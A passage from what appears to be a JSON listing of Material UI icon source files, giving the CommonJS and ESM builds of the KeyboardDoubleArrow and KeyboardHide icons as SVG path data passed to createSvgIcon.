    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 6.41 16.59 5 12 9.58 7.41 5 6 6.41l6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 13-1.41-1.41L12 16.17l-4.59-4.58L6 13l6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeft.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeft.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeft');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.29 17.29c.39-.39.39-1.02 0-1.41L14.42 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L12.3 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.7 17.29c.39-.39.39-1.02 0-1.41L7.83 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L5.71 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01\"\n}, \"1\")], 'KeyboardDoubleArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.29 17.29c.39-.39.39-1.02 0-1.41L14.42 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L12.3 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.7 17.29c.39-.39.39-1.02 0-1.41L7.83 12l3.88-3.88c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L5.71 11.3c-.39.39-.39 1.02 0 1.41l4.59 4.59c.38.38 1.01.38 1.4-.01\"\n}, \"1\")], 'KeyboardDoubleArrowLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.59 18 19 16.59 14.42 12 19 7.41 17.59 6l-6 6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 18 1.41-1.41L7.83 12l4.58-4.59L11 6l-6 6z\"\n}, \"1\")], 'KeyboardDoubleArrowLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.7 6.71c-.39.39-.39 1.02 0 1.41L9.58 12 5.7 15.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L7.12 6.71c-.39-.39-1.03-.39-1.42 0\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.29 6.71c-.39.39-.39 1.02 0 1.41L16.17 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L13.7 6.7c-.38-.38-1.02-.38-1.41.01\"\n}, \"1\")], 'KeyboardDoubleArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.7 6.71c-.39.39-.39 1.02 0 1.41L9.58 12 5.7 15.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L7.12 6.71c-.39-.39-1.03-.39-1.42 0\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.29 6.71c-.39.39-.39 1.02 0 1.41L16.17 12l-3.88 3.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l4.59-4.59c.39-.39.39-1.02 0-1.41L13.7 6.7c-.38-.38-1.02-.38-1.41.01\"\n}, \"1\")], 'KeyboardDoubleArrowRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.41 6 5 7.41 9.58 12 5 16.59 6.41 18l6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 6-1.41 1.41L16.17 12l-4.58 4.59L13 18l6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.7 18.29c.39.39 1.02.39 1.41 0L12 14.42l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 12.3a.996.996 0 0 0-1.41 0L6.7 16.88c-.39.39-.39 1.02 0 1.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.7 11.7c.39.39 1.02.39 1.41 0L12 7.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.71a.996.996 0 0 0-1.41 0L6.7 10.29c-.39.39-.39 1.02 0 1.41\"\n}, \"1\")], 'KeyboardDoubleArrowUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.7 18.29c.39.39 1.02.39 1.41 0L12 14.42l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 12.3a.996.996 0 0 0-1.41 0L6.7 16.88c-.39.39-.39 1.02 0 1.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.7 11.7c.39.39 1.02.39 1.41 0L12 7.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 5.71a.996.996 0 0 0-1.41 0L6.7 10.29c-.39.39-.39 1.02 0 1.41\"\n}, \"1\")], 'KeyboardDoubleArrowUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardDoubleArrowUpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17.59 7.41 19 12 14.42 16.59 19 18 17.59l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m6 11 1.41 1.41L12 7.83l4.59 4.58L18 11l-6-6z\"\n}, \"1\")], 'KeyboardDoubleArrowUpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardHide.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-1.99.9-1.99 2L2 15c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3h2v2h-2zm0 3h2v2h-2zM8 6h2v2H8zm0 3h2v2H8zm-1 2H5V9h2zm0-3H5V6h2zm9 7H8v-2h8zm0-4h-2V9h2zm0-3h-2V6h2zm3 3h-2V9h2zm0-3h-2V6h2zm-7 15 4-4H8z\"\n}), 'KeyboardHide');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardHide.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-1.99.9-1.99 2L2 15c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3h2v2h-2zm0 3h2v2h-2zM8 6h2v2H8zm0 3h2v2H8zm-1 2H5V9h2zm0-3H5V6h2zm9 7H8v-2h8zm0-4h-2V9h2zm0-3h-2V6h2zm3 3h-2V9h2zm0-3h-2V6h2zm-7 15 4-4H8z\"\n}), 'KeyboardHide');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardHideOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-1.99.9-1.99 2L2 15c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 12H4V5h16zm-9-9h2v2h-2zm0 3h2v2h-2zM8 6h2v2H8zm0 3h2v2H8zM5 9h2v2H5zm0-3h2v2H5zm3 6h8v2H8zm6-3h2v2h-2zm0-3h2v2h-2zm3 3h2v2h-2zm0-3h2v2h-2zm-5 17 4-4H8z\"\n}), 'KeyboardHideOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/KeyboardHideOutlined.mjs",
